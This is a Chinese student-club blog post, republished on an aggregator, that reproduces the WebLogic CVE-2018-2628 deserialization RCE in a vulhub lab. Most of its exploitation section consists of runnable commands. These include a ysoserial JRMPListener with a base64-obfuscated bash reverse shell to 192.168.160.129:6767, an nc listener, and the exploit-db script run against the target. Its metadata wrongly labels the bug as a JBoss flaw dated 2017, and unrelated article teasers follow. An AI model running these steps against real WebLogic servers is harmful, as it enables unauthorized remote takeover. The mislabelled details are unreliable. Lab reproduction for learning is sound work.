java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破(CVE20182628)漏洞复现...

b1c51ed0e15122a74a8edd251e71df10.png

学生会私房菜

学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题。

本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-2628)漏洞复现》

6d46c9824f9ff6da180d70726b153bfe.png

作者介绍:Chow

Chow,一个行走的“十万个为什么”,喜欢学自己兴趣所向的知识,虽然现在还是个弱鸡,但是学就完事啦!

一、基本信息

一. 基本概要

发布时间:2017年11月22日

漏洞名称:JBOSSAS5.x/6.x反序列化命令执行漏洞

威胁类型:远程命令执行

CVE编号:CVE-2018-2628

影响版本:Weblogic 10.3.6.0、Weblogic 12.1.3.0、Weblogic 12.2.1.2、Weblogic 12.2.1.3

漏洞描述:CVE-2018-2628为CVE-2017-3248修复版本的绕过,远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,并可获取目标系统所有权限。

二、基本环境和工具

9bf30095b27414d7160e0dac7bcbcae4.png

1. 靶机环境:

靶机操作系统:Ubuntu

漏洞环境:https://vulhub.org/#/environments/weblogic/CVE-2018-2628/

下载:https://vulhub.org/#/docs/install-docker-one-click/

使用说明:

执行以下命令启动Weblogic 10.3.6.0:

cd vulhub/weblogic/CVE-2018-2628

docker-compose up -d

   访问访问http://your-ip:7001/console,初始化整个环境。

2. 操作机环境:

操作操作系统:Kail

检测和发现工具

工具名称:CVE-2018-2628-MultiThreading

工具安装:下载.py文件即可

工具使用说明:2-操作机批量检测脚本CVE-2018-2628-MultiThreading使用说明.doc

工具下载地址:https://github.com/aedoo/CVE-2018-2628-MultiThreading

3、EXP/利用工具

工具名称:44553

工具安装:下载.py文件即可

使用说明:参阅漏洞利用步骤即可

下载地址:https://www.exploit-db.com/exploits/44553

需要配合ysoserial

ysoserial(下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)

三、利用过程

(详细说明漏洞的利用过程,要求以拿到webshell权限为利用过程)

1. 利用的条件/漏洞特征

利用Kail下的nmap工具,检测weblogic版本信息和t3协议是否开启。

2cfa90554208684c3dd88001b5a121af.png

2. 漏洞利用步骤:

步骤1  开启监听服务JRMPListen

本地开启监听服务JRMPListen,利用ysoserial的JRMP对998端口监听

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

#[command]即为想执行的命令,而[listen port]是JRMP Server监听的端口。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 998 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2MC4xMjkvNjc2NyAwPiYx}|{base64,-d}|{bash,-i}"   #引号内为反弹shell到192.168.160.129 6767端口经过base64加密后的指令

ce01cabc047b58f167d7b7119f560d08.png

步骤2  新开一个终端,监听反弹shell的端口

nc -lvp 6767

a3ba8ab14ffacebf26055aa348211f94.png

步骤3  利用exploit脚本攻击

命令:python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]

#目标ip就是weblogic的ip。端口weblogic的端口

#ysoserial路径就是上方使用的ysoserial的路径

#JRMPListener port为主机端口,就是我使用的Kail,监听端口上方998

#JRMPClient命令执行。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2

python CVE-2018-2628exploit.py 192.168.160.134 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.160.129 998 JRMPClient

bef836ca555a49e8ad757d2e293dbefc.png

步骤4  成功反弹shell

26a9dbb87bd668361600f9b99faff2dd.png

四、原理分析

320c31ccd65f5754797e376063305390.png

CVE-2018-2628原理为在CVE-2017-3248补丁中用黑名单的方式在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass处理rmi接口类型,这个resolveProxyClass只对 java.rmi.registry.Registry接口进行了判断,找一个其他的rmi接口即可绕过,比如java.rmi.activation.Activator。

eb75f504f23df378f0fba30caa2d76bb.pngeb75f504f23df378f0fba30caa2d76bb.pngeb75f504f23df378f0fba30caa2d76bb.pngeb75f504f23df378f0fba30caa2d76bb.png

6f44e142d7d020bb51d1e88f8e73b4c9.png国科学院学生会是由国科学院指导开展的学员服务型组织,致力于配合国科学院完成日常工作的开展以及强化锻炼学员的自身职业素养与专业技能,下设部门有技术部和综合部。

如果你们也想提升自我,又或者是想认识这些和你们一样优秀的小伙伴,那就赶快联系指导老师并加入我们吧!

学生会信箱:

student@goktech.cn

【往期精彩内容】

国科学院学生会的“小确幸”瓶子,你能涂满几个?

学生会私房菜【202008011期】《Apache Shiro 1.2.4反序列化漏洞》

学生会私房菜【20200804期】String详解

学生会私房菜【20200723期】S2-045 Remote Code Execution漏洞利用

聚资讯,融技术,访精英▏【学生会信箱】开通啦!

讲师预备生唐欢——加入国科遇见更优秀的自己

王少怀

国科学院(厦门基地)学生会指导老师

ad76bcbb818ae1abfcd5755b864067ec.png

王阳

国科学院(泉州基地)学生会指导老师

e52361ffe75b22d5874c9847b447508c.png

王建

国科学院(福州基地)学生会指导老师

4110b882b532be09695ec6662b6206f7.png

曹博文  

国科学院(成都基地)学生会指导老师

828130c9c9cc568c3d8742f9d09f79de.png

a837ec8d8dd3c1e08e58182df5219704.png

8e13b06d61bedae9e03b52d0fdf489e6.png8cde65efafa2d459435cad8e6f2e17e9.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/360270.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java泛型中的多态

从作为Java程序员的早期开始,我们都知道如何实例化和使用Collection对象。 实例化为具体类的List接口将如下所示。 List myArrayList new ArrayList();如果myArrayList应该仅保存Integer对象,则从Java 5编译器开始,按照Java Generics规范…

ASP.NET伪静态-无法读取配置文件,因为它超过了最大文件大小的解决办法

一直都在使用微软URLRewriter,具体的使用方法我就不多说了,网上文章很多。 但最近遇到一个问题,就是当web.config文件里面设置伪静态规则过多,大于2M的时候,就报错:无法读取配置文件,因为它超过…

java定义list_我的Java Web之路59 - Java中的泛型

本系列文章旨在记录和总结自己在Java Web开发之路上的知识点、经验、问题和思考,希望能帮助更多(Java)码农和想成为(Java)码农的人。目录介绍再谈Java中的类型为什么需要泛型?Java中的泛型泛型类型泛型方法总结介绍还记得我在这篇文章(我的Java Web之路3…

Spring查找方法示例

当一个bean依赖于另一个bean时,我们使用setter属性或通过构造函数注入bean。 getter方法将向我们返回已设置的引用,但是假设您每次调用getter方法时都想要一个依赖bean的新实例,那么您可能将不得不采用另一种方法。 在本文中,我…

mysql判断数字的函数_Mysql必读MySql判断汉字、日期、数字的具体函数

《Mysql必读MySql判断汉字、日期、数字的具体函数》要点:本文介绍了Mysql必读MySql判断汉字、日期、数字的具体函数,希望对您有用。如果有疑问,可以联系我们。MYSQL学习几个平常用的mysql函数,MySql判断汉字、日期、数字的具体函数分享给大家…

编码:可视化位图

在过去的一个月左右的时间里,我每天花费一些时间来阅读Neo4j代码库的新部分,以使其更加熟悉,而我最喜欢的类之一是Bits类,该类可以完成所有底层工作,并且到磁盘。 特别是,我喜欢它的toString方法&#xff…

通过更改透明度使图片为透明

使用AlphaBlend函数 函数功能 该函数用来显示具有指定透明度的图像。函数原型 AlphaBlend(HDC hdcDest,int nXOriginDest,int nYOriginDest,int nWidthDest,int hHeightDest,HDC hdcSrc,int nXOriginSrc,int nYOriginSrc,int nWidthSrc,int nHeightSrc,BLENDFUNCTION blendFunc…

(转)CocoaPods:管理Objective-c 程序中各种第三方开源库关联

在我们的iOS程序中,经常会用到多个第三方的开源库,通常做法是去下载最新版本的开源库,然后拖拽到工程中。 但是,第三方开源库的数量一旦比较多,版本的管理就非常的麻烦。有没有什么办法可以简化对第三方库的管理呢&…

为什么子进程每次执行顺序不一样_看完这篇还不懂Redis的RDB持久化,你来打我...

推荐观看:Redis缓存穿透的终极解决方案,手写布隆过滤器_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili​www.bilibili.comP8架构师串讲:Redis,zookeeper,kafka,Nginx等技术_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili​w…

Spring XD用于数据提取

Spring XD是一个功能强大的工具,它是一组可安装的Spring Boot服务,可以独立运行,在YARN或EC2之上运行。 Spring XD还包括一个管理UI网站和一个用于作业和流管理的命令行工具。 Spring XD是一组功能强大的服务,可与各种数据源一起使…

JDK 9 REPL:入门

会议是聚会Java名人的好地方。 Devoxx France是与Java语言架构师,前同事和老朋友Brian Goetz( briangoetz )见面的一个机会。 我们谈论了JDK 9,而他全都热衷于REPL。 他提到,尽管Java SE 9中有很多重要功能 &#xff0…

sinaapp mysql连接_手把手教你在新浪云上免费部署自己的网站--连接数据库

看完之后,默认你知道怎么将代码上传到新浪云SAE,并且能够成功运行,连接数据库之前,你必须先创建有一个应用。现在我创建一个名称为sampleone的应用,如下图点击左侧的代码管理,选在右侧创建一个版本然后就会…

HDU-4527 小明系列故事——玩转十滴水 模拟

题意:就是平时玩的十滴水游戏,游戏者拥有一定的水滴,能够滴在某些位置,如果一个点上的体积超过了4就会爆炸,向四周传递一个小水滴。该题就是要求模拟这个过程。 分析:这里有一个问题就是不能够使用递归来处…

win8改win7 教程

新入手的WIN8怎么改成WIN7呢?下面以戴尔Dell V3560 win8换win7系统为例说明: win8改win7本文转自http://jingyan.baidu.com/article/ed2a5d1f2a97ee09f6be17e2.html 第一步:开机过程中不断按F2进入到BIOS,更改bios设置&#xff0c…

7 centos 查看程序文件数量_解析CentOS 7中系统文件与目录管理

LINUXLinux操作系统解析CentOS 7中系统文件与目录管理Linux目录结构Linux目录结构是树形的目录结构根目录所有分区、目录、文件等的位置起点整个树形目录结构中,使用独立的一个“/”表示常见的子目录目录目录名称目录目录名称/root管理员家目录/bin所有用户可执行命…

IE浏览器模式设置

文件兼容性用于定义让IE如何编译你的网页。此文件解释文件兼容性,如何指定你网站的文件兼容性模式以及如何判断一个网页该使用的文件模式。 前言 为了帮助确保你的网页在所有未来的IE版本都有一致的外观,IE8引入了文件兼容性。在IE6中引入一个增设的兼容…

mysql存储过程套嵌_mysql存储过程套嵌

{"moduleinfo":{"card_count":[{"count_phone":1,"count":1}],"search_count":[{"count_phone":4,"count":4}]},"card":[{"des":"阿里云数据库专家保驾护航,为用户…

拆卸invokedynamic

许多Java开发人员认为JDK的第七版有些令人失望。 从表面上看,仅少数语言和库扩展使它成为了发行版,即Project Coin和NIO2 。 但在幕后,该平台的第七个版本对JVM类型系统进行了最大的扩展,这是它最初发布后引入的。 添加invokedyna…

CRON

http://blog.csdn.net/tianlesoftware/article/details/5315039 1. 同时修改文件的修改时间和访问时间 touch -d "2010-05-31 08:10:30" test.doc 2. 只修改文件的修改时间 touch -m -d "2010-05-31 08:10:30" test.doc 3. 只修改文件的访问时间 touch -a …

mysql innodb_file_format_Innodb表压缩过程中遇到的坑(innodb_file_format)

对于越来越多的数据,数据库的容量越来越大,压缩也就越来越常见了。在我的实际工作中进行过多次压缩工作,也遇到多次问题,在此和大家分享一下。首先,我们先说说怎么使用innodb的压缩.第一,mysql的版本需要大…